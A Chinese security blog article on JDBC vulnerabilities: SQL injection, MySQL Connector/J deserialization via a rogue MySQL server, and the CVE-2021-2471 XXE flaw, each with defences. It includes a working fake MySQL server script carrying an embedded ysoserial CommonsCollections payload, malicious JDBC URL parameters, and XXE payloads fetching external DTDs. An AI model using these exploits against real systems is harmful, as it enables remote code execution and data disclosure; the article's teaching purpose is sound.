JDBC安全

admin
admin
admin
138339
文章
113
评论
2022年3月28日18:55:58评论65 views字数 17760阅读59分12秒阅读模式

点击蓝字

JDBC安全

关注我们



声明

本文作者：Gungnir

本文字数：17681

阅读时长：30min

附件/链接：点击查看原文下载

本文首发于【secin社区】，未经许可禁止转载

原文链接：https://www.sec-in.com/article/1564

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经狼组安全团队允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。


前言



JDBC（Java Data Base Connectivity，java数据库连接）是一种用于执行SQL语句的Java API，可以为多种关系数据库提供统一访问，它由一组用Java语言编写的类和接口组成。JDBC提供了一种基准，据此可以构建更高级的工具和接口，使数据库开发人员能够编写数据库应用程序。


 JDBC在广泛使用的同时，也会带来相应的安全隐患，因此笔者针对JDBC做了总结，限于水平，难免有欠缺，希望师傅们指出。


JDBC连接样例：


//1.注册数据库驱动DriverManager.registerDriver(new Driver());//2.获取数据库连接Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/day10", "root", "root");//3.获取传输器对象Statement stat = conn.createStatement();//4.利用传输器传输sql语句到数据库中执行,获取结果集对象ResultSet rs = stat.executeQuery("select * from user");//5.遍历结果集获取查询结果while(rs.next()){    String name = rs.getString("name");    System.out.println(name);}//6.关闭资源rs.close();stat.close();conn.close();


JDBC  sql注入


毕竟JDBC只是一种执行sql语句的Java API，所以他肯定也有sql注入的安全隐患。


// concat sqlStatement stmt = connection.createStatement();String sql = "SELECT * FROM users WHERE id ='"+ id + "'";ResultSet rs = stmt.executeQuery(sql);


假设有这么几个语句，executeQuery执行的sql语句中存在拼接，将id拼接到sql语句中，而id又可控，没有其他的过滤方法，那么sql注入风险就会存在。

其实就是普通的sql注入。

那么在JDBC中我们怎么保证安全？


使用参数化查询（parameterized queries），即 SQL 语句中使用参数绑定( ? 占位符 ) 和 PreparedStatement。

PreparedStatement始终使用?作为占位符，并且把数据连同SQL本身传给数据库，这样可以保证每次传给数据库的SQL语句是相同的，只是占位符的数据不同，还能高效利用数据库本身对查询的缓存。

上面的语句我们可以这样写


// use ? to bind variablesString sql = "SELECT * FROM users WHERE id= ? ";PreparedStatement ps = connection.prepareStatement(sql);// 参数 index 从 1 开始，有几个参数绑定就写几个。ps.setString(1, name);ps.execute();


我们需要注意，并不是使用了prepareStatement就可以防止sql注入，防止sql注入是因为所有需要传入的参数都使用了占位符，保证数据与代码分离。

如果你在使用prepareStatement之前就拼接了sql语句，照样会导致注入。

当然，并不是所有情况都可以使用prepareStatement，比如order by、column name，不能使用参数绑定，此时需要手工过滤，如通常 order by 的字段名是有限的，因此可以使用白名单的方式来限制参数值。我们也可以全方位的进行字符转义，来防止注入。


Mysql  JDBC 反序列化漏洞


需要准备：

8.x版本的mysql-connector-java依赖（不同版本的依赖，利用方式有所区别）

我用的是8.0.19，如果你用的版本不能顺利分析下来，可能版本不在影响范围之内，换一个版本。

影响范围（5.1.28 - 5.1.19，5.1.29 - 5.1.40，5.x <= 5.1.10，>=5.1.11，6.x，8.x）


JDBC安全


漏洞原理


如果攻击者能够控制JDBC连接设置项，那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。

具体点说，就是通过JDBC连接MySQL服务端时，会有几个内置的SQL查询语句要执行，其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集，并且攻击者可以控制JDBC连接设置项，那么就能触发MySQL JDBC客户端反序列化漏洞。

可被利用的两条查询语句：


  • SHOW SESSION STATUS

  • SHOW COLLATION



漏洞分析


我们可以在IDEA的外部库中找到依赖。

JDBC安全


如果要是序列化的问题的话，那肯定少不了readObject。

作者在com.mysql.cj.jdbc.result.ResultSetImpl下的getObject(int columnIndex)函数中找到了readObject。

一共有两处readObject。

一处是case BIT，一处是case BLOB。


JDBC安全

JDBC安全


我们需要知道


BIT和BLOB都是MySQL里的一种数据格式
BLOB：是二进制形式的长文本数据，大小是0-65535 bytes
BIT：是用来存储bit值的，BIT(M)代表可以存储M个bit，M的取值范围为1到64 如果手工指定bit值，则可以使用b'value'格式，比如b'111'和 b'10000000'分别代表7和128。


我们可以看到


case BIT和case BLOB有一些差不多的判断逻辑


//判断数据是不是blob或者二进制数据if (field.isBinary() || field.isBlob())
//获取连接属性的autoDeserialize是否为trueif (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())
//判断数据是不是序列化后的对象，-84 -19其实就是AC ED (0xAC == 256 - 84, 0xED == 256 - 19)，就是Java的序列化内容的魔术头if ((data[0] == -84) && (data[1] == -19))
//满足了上述条件，就可以反序列化了。
接下来我们就是要找到个调用getobject的地方，我们把目光放在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()中的ResultSetUtil.resultSetToMap(toPopulate, rs);

前面原理中提到了两条查询语句，在这里我们就可以看到它执行了其中一句SHOW SESSION STATUS


JDBC安全


执行SHOW SESSION STATUS后并处理其结果时,调用了getObject()，注意这里调用了两次。


JDBC安全


于是我们要再找调用populateMapWithSessionStatusValues的地方，我们找到了``com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor的postProcess()和preProcess()方法


那我们怎么调用postProcess或者preProcess呢，这需要我们知道这个类的含义


public class ServerStatusDiffInterceptor implements QueryInterceptor


此类实现了QueryInterceptor


JDBC安全


所以ServerStatusDiffInterceptor是一个拦截器，在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时，执行查询语句会调用拦截器的preProcess和postProcess方法，进而通过上述调用链最终调用getObject()方法。

所以最终思路就是，执行查询语句，触发拦截器，执行preProcess，进入到populateMapWithSessionStatusValues，再执行SHOW SESSION STATUS，得到序列化的数据，进入getObject，反序列化。

我们攻击的地方就在于执行SHOW SESSION STATUS，这个过程得到的数据，是我们可以去控制的，从而导致反序列化了恶意类。

于是poc也得出来了，我们需要触发拦截器，在进入getObject的时候，需要通过一个判断


//poc
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true


漏洞利用


利用方式在分析过程中说到，代码执行了SHOW SESSION STATUS,并把拿到的数据，可以进行反序列化。

所以我们需要控制这个数据。

这有两个前提

1.可以控制JDBC连接设置项（即可以控制连接语句）

2.存在链子可以打

那我们怎么控制这个数据？

我们选择自建恶意Mysql，让代码执行的``SHOW SESSION STATUS`是发送到我们的恶意Mysql服务器的，这也是为什么我们需要控制JDBC连接设置项。

怎么自建Mysql服务器，我在此不做分析。想了解的可以看看两个项目

  • https://github.com/fnmsd/MySQL_Fake_Server
  • https://github.com/rmb122/rogue_mysql_server

我给出Tri0mphe师傅的一个py脚本。


# -*- coding:utf-8 -*-#@Time : 2020/7/27 2:10#@Author: Tri0mphe7#@File : server.pyimport socketimport binasciiimport os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_ok_data="0700000200000002000000"
def receive_data(conn):    data = conn.recv(1024)    print("[*] Receiveing the package : {}".format(data))    return str(data).lower()
def send_data(conn,data):    print("[*] Sending the package : {}".format(data))    conn.send(binascii.a2b_hex(data))
def get_payload_content():    //file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a     file= r'a'    if os.path.isfile(file):        with open(file, 'rb') as f:            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')        print("open successs")
    else:        print("open false")        #calc        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'    return payload_content
# 主要逻辑def run():
    while 1:        conn, addr = sk.accept()        print("Connection come from {}:{}".format(addr[0],addr[1]))
        # 1.先发送第一个 问候报文        send_data(conn,greeting_data)
        while True:            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok            receive_data(conn)            send_data(conn,response_ok_data)
            #其他过程            data=receive_data(conn)            #查询一些配置信息,其中会发送自己的 版本号            if "session.auto_increment_increment" in data:                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'                send_data(conn,_payload)                data=receive_data(conn)            elif "show warnings" in data:                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'                send_data(conn, _payload)                data = receive_data(conn)            if "set names" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "set character_set_results" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "show session status" in data:                mysql_data = '0100000102'                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'                # 为什么我加了EOF Packet 就无法正常运行呢？？                //获取payload                payload_content=get_payload_content()                //计算payload长度                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)                payload_length_hex = payload_length[2:4] + payload_length[0:2]                //计算数据包长度                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex                mysql_data += str(payload_content)                mysql_data += '07000005fe000022000100'                send_data(conn, mysql_data)                data = receive_data(conn)            if "show warnings" in data:                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'                send_data(conn, payload)            break

if __name__ == '__main__':    HOST ='0.0.0.0'    PORT = 3309
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    sk.bind((HOST, PORT))    sk.listen(1)
    print("start fake mysql server listening on {}:{}".format(HOST,PORT))
    run()


有了恶意服务器后，我们需要写个JDBCclient，用以触发拦截器。


public class JdbcClient {

    public static void main(String[] args) throws Exception{        String driver = "com.mysql.cj.jdbc.Driver";        String DB_URL = "jdbc:mysql://xxxx:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
        Class.forName(driver);        Connection conn = DriverManager.getConnection(DB_URL,"root","root");    }}


然后我们根据目标程序存在的链子，用ysoserial生成payload。

比如，假设目标存在cc5链子，我们使用命令


java -jar .ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 calc > payload


拿到payload之后，我们就可以把payload放在恶意mysql服务器同目录下，运行mysql服务器，再运行JDBCclient，就可以成功弹出calc。


下面找到一道相关的ctf题目，可用作学习复现。


[羊城杯 2020]A Piece Of Java


https://urdr-gungnir.github.io/ctf/CTF中的java题.html


防御方案


  1. 黑名单检查（检查输入流，如果存在一些恶意类，则反序列化过程停止）
  2. 白名单过滤（JEP290、SerialKiller）
    •允许对传入的对象序列化数据流进行过滤，以提高安全性
    •定义可以由属性或配置文件配置的全局过滤器。
    •在反序列化过程中将调用filter接口方法，以验证要反序列化的类。过滤器返回接受，拒绝或保留未确定，允许或禁止状态的状态。
  3. 运行时应用程序自我保护（RASP）


Mysql JDBC  XXE（CVE-2021-2471）


提前说下，这种洞比较鸡肋。需要其他的比较苛刻的条件。


需要准备：


因为影响版本< MySQL JDBC 8.0.27，所以上面反序列化的环境也能复现。


漏洞原理


getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。


前置知识


什么是SQLXML？

在开发的过程中，可能会需要在数据库中存储和检索XML文档，因此引入了SQLXML类型，SQLXML提供了 String、Reader、Writer 或
Stream 等多种形式访问XML值的方法。

我们可以通过ResultSet、CallableStatement 、PreparedStatement 中的getSQLXML方法获取SQLXML对象。

再使用SQLXML对象提供的xml解析器去解析xml。

下面要用到的createSQLXML也是获取SQLXML对象的方法。


漏洞分析


漏洞发生在com.mysql.cj.jdbc.MysqlSQLXML下的getSource函数中

函数大概的逻辑如下：


public <T extends Source> T getSource(Class<T> clazz) throws SQLException {    checkClosed();    checkWorkingWithResult();
    if (clazz == null || clazz.equals(SAXSource.class)) {
    } else if (clazz.equals(DOMSource.class)) {
    } else if (clazz.equals(StreamSource.class)) {
    } else if (clazz.equals(StAXSource.class)) {
    } else {        throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),                MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);    }}


可以看的出来，是判断clazz类是书鱼哪一种Source源，则进入哪一个判断。

当传入类型为DOMSource时，则使用DocumentBuilder对数据进行解析处理。


JDBC安全


可以看到，domsource处理逻辑中，没有对inputsource进行一个过滤，这就是说，如果inputsource可控，那么将直接被直接解析xml内容。

那inputsource是当this.fromResultSet为flase的时候，被this.stringRep控制的。

这里的this.fromResultSet不出意外，基本上是false的状态

因为在构造函数的时候，就已经被初始化为false。

JDBC安全



而this.stringRep可以通过当前类的setString方法类设置stringRep的值。


JDBC安全


那我们如何触发它呢？

createSQLXML方法的作用就是返回一个MysqlSQLXML对象。

所以只要用createSQLXML返回个MysqlSQLXML对象，并最后调用getsource就可以最后解析xml。


//pocimport javax.xml.transform.dom.DOMSource;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;import java.sql.SQLXML;public class main {    public static void main(String[] args) throws SQLException {        String poc = "<!DOCTYPE b [<!ENTITY xxe SYSTEM  "http://127.0.0.1:2333/poc.txt">]><name>&xxe;</name>";        Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/", "root","root");        SQLXML sqlxml = connection.createSQLXML();        sqlxml.setString(poc);        sqlxml.getSource(DOMSource.class);
    }}


分析一下

我们先用getConnection创建了一个jdbc连接，然后用createSQLXML返回了个MysqlSQLXML对象，然后我们要用的xxe的payload写入数据库，最后getSource读取，并解析。

这样看起来似乎挺好，但此poc需要靠开发人员写成这个，应该在真实环境中很难见到有setString参数可控的。

而现实中可能更多的是，类似于这种


package com.example.demo3;import javax.xml.transform.dom.DOMSource;import java.sql.*;
public class main {    public static void main(String[] args) throws SQLException {        Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/sys", "root","root");        Statement statement = connection.createStatement();        statement.execute("select * from test");        ResultSet resultSet = statement.getResultSet();        while (resultSet.next()) {            SQLXML sqlxml = resultSet.getSQLXML("message");            sqlxml.getSource(DOMSource.class);        }    }}


使用getSQLXML获取数据库相应字段的数据后，返回一个MysqlSQLXML对象。

然后getSource调用，解析这些数据。

那么我们就需要先把恶意的payload写入数据库中，让程序getSQLXML拿出来，再解析。

所以这也是为什么很鸡肋的一个原因。

让我想起来一个图。


JDBC安全


虽然不是完全一样，但是这种思路也是如出一辙。。。。


漏洞利用


虽然很鸡肋，但是我也稍微复现，让大家理解。

作者提供了漏洞环境。https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe

有了这个项目，我们在数据库中首先创建表


create table tb_test (  id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',  message text COMMENT 'SQLXML',  PRIMARY KEY (`id`));


然后模拟我们已经有了一个可以把恶意数据放进数据库的方法


insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');


起一个临时web服务，方便验证是否成功。


然后调用项目中的OracleJDBC.java，你可以看到此文件中的代码就是上面提供的常见写法。


JDBC安全


然后你就可以看到，你已经成功收到了来自目标服务器的请求。


JDBC安全


如果你想进行其他的利用，修改插入数据库的payload即可。


防御方案


官方在更新中创建了XmlReader并进行了安全设置。


try {                    XMLReader reader = XMLReaderFactory.createXMLReader();                    reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);                    setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);                    setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);                    setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);                    setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);                    return new SAXSource(reader, this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep)));                } catch (SAXException var7) {                    sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);                    throw sqlEx;                }


作者



JDBC安全

Gungnir

好家伙~



扫描关注公众号回复加群

和师傅们一起讨论研究~


长

按

关

注

WgpSec狼组安全团队

微信号：wgpsec

Twitter：@wgpsec


JDBC安全
JDBC安全


原文始发于微信公众号（WgpSec狼组安全团队）：JDBC安全

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月28日18:55:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   JDBC安全https://cn-sec.com/archives/845542.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息